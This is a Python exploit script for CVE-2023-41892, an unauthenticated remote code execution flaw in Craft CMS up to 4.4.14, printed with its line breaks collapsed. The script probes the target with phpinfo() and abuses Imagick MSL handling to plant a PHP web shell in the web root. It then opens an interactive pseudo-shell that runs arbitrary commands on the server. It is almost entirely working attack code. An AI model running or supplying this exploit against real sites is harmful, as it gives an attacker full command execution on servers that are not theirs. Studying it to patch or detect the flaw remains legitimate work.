Craft CMS 4.4.14 Remote Code Execution

#!/usr/bin/env python3#coding: utf-8# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)# Date: 2023-12-26# Version: 4.0.0-RC1 - 4.4.14# Vendor Homepage: https://craftcms.com/# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14# Tested on: Ubuntu 22.04.3 LTS# Tested on: Craft CMS 4.4.14# Exploit Author: Olivier Lasne# CVE : CVE-2023-41892# References :# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g# https://blog.calif.io/p/craftcms-rceimport requestsimport sys, reif(len(sys.argv) < 2):    print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")    exit()HOST = sys.argv[1]if not re.match('^https?://.*', HOST):    print("\033[1;31m[-]\033[0m URL should start with http or https")    exit()print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")## Execute phpinfo() and extract config info from the websiteurl = HOST + '/index.php'content_type = {'Content-Type': 'application/x-www-form-urlencoded'}data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'try:    r = requests.post(url, headers=content_type, data=data)except:    print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")    exit()# If we succeed, we should have default phpinfo credits if not 'PHP Group' in r.text:  print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')  exit()# Extract config value for tmp_dir and document_rootpattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'tmp_dir       = re.search(pattern1, r.text, re.DOTALL).group(1)document_root = re.search(pattern2, r.text, re.DOTALL).group(1)if 'no value' in tmp_dir:  tmp_dir = '/tmp'print(f'temporary directory: {tmp_dir}')print(f'web server root: {document_root}')## Create shell.php in tmp_dirdata = {    "action": "conditions/render",    "configObject[class]": "craft\elements\conditions\ElementCondition",    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'}files = {    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>    <image>    <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>    <write filename="info:DOCUMENTROOT/shell.php"/>    </image>""".replace("DOCUMENTROOT", document_root), "text/plain")}print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #  # Use the Imagick trick to move the webshell in DOCUMENT_ROOTdata = {    "action": "conditions/render",    "configObject[class]": r"craft\elements\conditions\ElementCondition",    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'}print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})if r.status_code != 502:    print("\033[1;31m[-]\033[0m Exploit failed")    exit()print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")print("\033[1;92m[!]\033[0m Enjoy your shell\n")url = HOST + '/shell.php'## Pseudo Shellwhile True:    command = input('\033[1;96m>\033[0m ')    if command == 'exit':        exit()    if command == 'clear' or command == 'cls':        print('\n' * 100)        print('\033[H\033[3J', end='')        continue    data = {'cmd' : command}    r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})    # exit if we have an error    if r.status_code != 200:        print(f"Error: status code {r.status_code} for {url}")        exit()    res_command = r.text    res_command = re.sub('^caption:', '', res_command)    res_command = re.sub(' CAPTION.*$', '', res_command)    print(res_command, end='')